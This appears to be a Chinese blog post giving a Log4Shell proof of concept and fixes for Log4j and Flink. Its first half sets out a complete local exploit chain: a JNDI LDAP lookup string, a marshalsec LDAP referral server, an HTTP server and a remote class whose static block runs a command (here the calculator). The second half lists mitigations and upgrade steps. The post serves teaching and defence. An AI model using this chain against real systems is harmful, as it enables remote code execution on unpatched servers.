Log4j遠(yuǎn)程任意代碼執(zhí)行漏洞POC和Flink修復(fù)

聲明

本篇目的為分享原理和學(xué)習(xí)用途,嚴(yán)禁用于任何惡意行為。任何惡意使用導(dǎo)致的一切損失和法律責(zé)任由操作者承擔(dān),和本文作者無關(guān)。

準(zhǔn)備工作

下載并編譯mbechler/marshalsec。

git clone https://github.com/mbechler/marshalsec.git
cd marshalsec/
mvn clean package -DskipTests

編寫代碼

Log4j漏洞代碼(Log4j.java):

public static void main(String[] args) {
    // 高版本(191以上)JDK默認(rèn)為false,需要添加這一行
    System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
    logger.error("${jndi:ldap://127.0.0.1:1389/Log4jRCE}");
}

漏洞遠(yuǎn)程惡意執(zhí)行代碼(Log4jRCE.java),如下例子為啟動計(jì)算器程序。

static {
    System.out.println("Log4jRCE from remote!");
    // 啟動計(jì)算器,在windows環(huán)境下
    try {
        String[] cmd = {"calc"};
        java.lang.Runtime.getRuntime().exec(cmd).waitFor();
    } catch (Exception e) {
        e.printStackTrace();
    }
}

編譯Log4jRCE.java并放置class文件于任意目錄,例如/path/to/rce

漏洞利用

復(fù)制編譯后的漏洞遠(yuǎn)程惡意執(zhí)行代碼(Log4jRCE.class)到任意目錄,例如/path/to/rce,啟動一個http服務(wù)器。

mv Log4j.class /path/to/rce
python -m http.server 8081

進(jìn)入marshalsec目錄,啟動LDAP服務(wù):

cd marshalsec
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8081/#Log4jRCE

執(zhí)行漏洞代碼:

java -cp log4j-api-2.14.1.jar:log4j-core-2.14.1.jar Log4j

我們發(fā)現(xiàn)輸出:

Log4jRCE from remote!

同時計(jì)算器程序被啟動。觀察http server和LDAP服務(wù)器日志,發(fā)現(xiàn)的確接收到了Log4j漏洞代碼發(fā)來的請求。

漏洞防御

漏洞防御措施分為臨時規(guī)避方案和徹底解決方案。

臨時規(guī)避方案

強(qiáng)烈建議升級JDK版本到6u211 / 7u201 / 8u191 / 11.0.1這些版本以上。這些版本默認(rèn)com.sun.jndi.ldap.object.trustURLCodebase值為false,一定程度上降低了安全風(fēng)險,但是不能徹底解決。

安全建議如下:

  1. 修改JVM參數(shù),增加 -Dlog4j2.formatMsgNoLookups=true
  2. 設(shè)置系統(tǒng)環(huán)境變量LOG4J_FORMAT_MSG_NO_LOOKUPS=true
  3. 對于2.0-beta9 到 2.10.0 之間的版本(閉區(qū)間),需要從jar包中刪除org/apache/logging/log4j/core/lookup/JndiLookup.class??蓤?zhí)行zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
  4. PatternLayout 設(shè)置輸出消息格式為%m{nolookups},不要使用%m。

徹底解決方案

需要替換項(xiàng)目依賴中的log4j為2.16.0。log4j2.15.0雖然已經(jīng)修復(fù)了漏洞,但只是應(yīng)急處理(解決了JNDI從日志消息和地址訪問),建議使用更安全的2.16.0。2.16.0默認(rèn)禁用了JNDI。開啟JNDI需要 log4j2.enableJndi設(shè)置為 true 。除此之外該版本還默認(rèn)禁止了message解析過程lookup(相當(dāng)于默認(rèn)為前面說的%m{nolookups})。如要啟用lookup,請?jiān)O(shè)置Pattern為%m{lookup}。

如果項(xiàng)目為fat jar(項(xiàng)目本身和依賴打到同一個jar包),建議修改log4j依賴版本后重新編譯。如果項(xiàng)目加載固定目錄中的內(nèi)容到classpath(例如Flink的lib目錄),直接替換依賴包即可。

Flink修復(fù)log4j漏洞的方式

下載并替換如下jar包到Flink的lib目錄:

注意:如果Flink引入了第三方j(luò)ar包,還需要檢查第三方j(luò)ar包中的log4j版本。作業(yè)中整個classpath中出現(xiàn)的log4j都需要排查一遍。

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時請結(jié)合常識與多方信息審慎甄別。
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡書系信息發(fā)布平臺,僅提供信息存儲服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

友情鏈接更多精彩內(nèi)容